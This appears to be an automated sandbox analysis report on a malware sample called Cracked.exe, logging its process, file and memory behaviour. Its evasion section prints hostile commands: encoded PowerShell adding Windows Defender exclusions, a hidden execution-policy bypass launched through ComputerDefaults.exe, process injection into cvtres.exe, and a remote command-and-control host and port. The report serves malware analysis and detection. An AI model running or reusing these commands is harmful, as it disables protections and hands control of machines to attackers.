Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\Cracked.exe TID: 4952	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 7336	Thread sleep count: 105 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 7336	Thread sleep time: -1050000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 7884	Thread sleep count: 8484 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676	Thread sleep time: -2767011611056431s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Cracked.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9723	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Window / User API: threadDelayed 8484	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9065

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

Dropped PE file which has not been started: C:\Program Files (x86)\Steam\uninstall.exe

Jump to dropped file

Source: C:\Program Files (x86)\Steam\bin\SteamService.exe

Code function: 13_2_01061B00 rdtsc

13_2_01061B00

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 1_2_00007FFBAC186F83 sldt word ptr [eax-0453BE1Dh]

1_2_00007FFBAC186F83

Source: C:\Users\user\Desktop\Cracked.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

API call chain: ExitProcess graph end node

graph_5-3785

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Source: cvtres.exe, 00000007.00000002.619459906.0000000005525000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Code function: 5_2_0040596F CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_0040596F
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Code function: 5_2_004064C1 FindFirstFileW,FindClose,	5_2_004064C1
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Code function: 5_2_004027FB FindFirstFileW,	5_2_004027FB

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File Volume queried: C:\Program Files (x86) FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File Volume queried: C:\Program Files (x86) FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\Steam\Steam.exe	File Volume queried: C:\Program Files (x86)\Steam FullSizeInformation
Source: C:\Program Files (x86)\Steam\Steam.exe	File Volume queried: C:\Program Files (x86)\Steam FullSizeInformation

Anti Debugging

Potentially malicious time measurement code found

Source: C:\Program Files (x86)\Steam\bin\SteamService.exe	Code function: 13_2_01061B00		13_2_01061B00
Source: C:\Program Files (x86)\Steam\bin\SteamService.exe	Code function: 13_2_01061A90		13_2_01061A90

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

5_2_023610D0

Source: C:\Program Files (x86)\Steam\bin\SteamService.exe

Code function: 13_2_01061B00 rdtsc

13_2_01061B00

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Client.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Cracked.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\Cracked.exe	Process created: Base64 decoded <#hdc#>Add-MpPreference <#mex#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#sml#> -Force <#mbj#>
Source: C:\Users\user\Desktop\Cracked.exe	Process created: Base64 decoded <#hdc#>Add-MpPreference <#mex#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#sml#> -Force <#mbj#>			Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\Client.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\Client.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 400000 value starts with: 4D5A

Jump to behavior

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\ComputerDefaults.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe'
Source: C:\Windows\System32\ComputerDefaults.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe'

Writes to foreign memory regions

Source: C:\Windows\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 400000	Jump to behavior
Source: C:\Windows\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 402000	Jump to behavior
Source: C:\Windows\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 414000	Jump to behavior
Source: C:\Windows\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 416000	Jump to behavior
Source: C:\Windows\Client.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: FCC008	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\System32\ComputerDefaults.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe'

Source: C:\Users\user\Desktop\Cracked.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "paajaggazabjacmapgbbagqazaatae0acabqahiazqbmaguacgblag4aywblacaapaajag0azqb4acmapgagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaeaakaakaguabgb2adoavqbzaguacgbqahiabwbmagkabablacwajablag4adga6afmaeqbzahqazqbtaeqacgbpahyazqapacaapaajahmabqbsacmapgagac0argbvahiaywblacaapaajag0aygbqacmapga=
Source: C:\Users\user\Desktop\Cracked.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "paajaggazabjacmapgbbagqazaatae0acabqahiazqbmaguacgblag4aywblacaapaajag0azqb4acmapgagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaeaakaakaguabgb2adoavqbzaguacgbqahiabwbmagkabablacwajablag4adga6afmaeqbzahqazqbtaeqacgbpahyazqapacaapaajahmabqbsacmapgagac0argbvahiaywblacaapaajag0aygbqacmapga=			Jump to behavior

Source: C:\Users\user\Desktop\Cracked.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAZABjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbQBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AYgBqACMAPgA=	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process created: C:\Windows\Client.exe "C:\Windows\Client.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process created: C:\Users\user\AppData\Local\Temp\SteamSetup.exe "C:\Users\user\AppData\Local\Temp\SteamSetup.exe"	Jump to behavior
Source: C:\Windows\Client.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR	Jump to behavior
Source: C:\Windows\Client.exe	Process created: C:\Windows\System32\ComputerDefaults.exe "C:\Windows\System32\ComputerDefaults.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Process created: C:\Program Files (x86)\Steam\bin\SteamService.exe "C:\Program Files (x86)\Steam\bin\steamservice.exe" /Install	Jump to behavior
Source: C:\Windows\System32\ComputerDefaults.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe'

Source: Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\Cracked.exe	Queries volume information: C:\Users\user\Desktop\Cracked.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Client.exe	Queries volume information: C:\Windows\Client.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
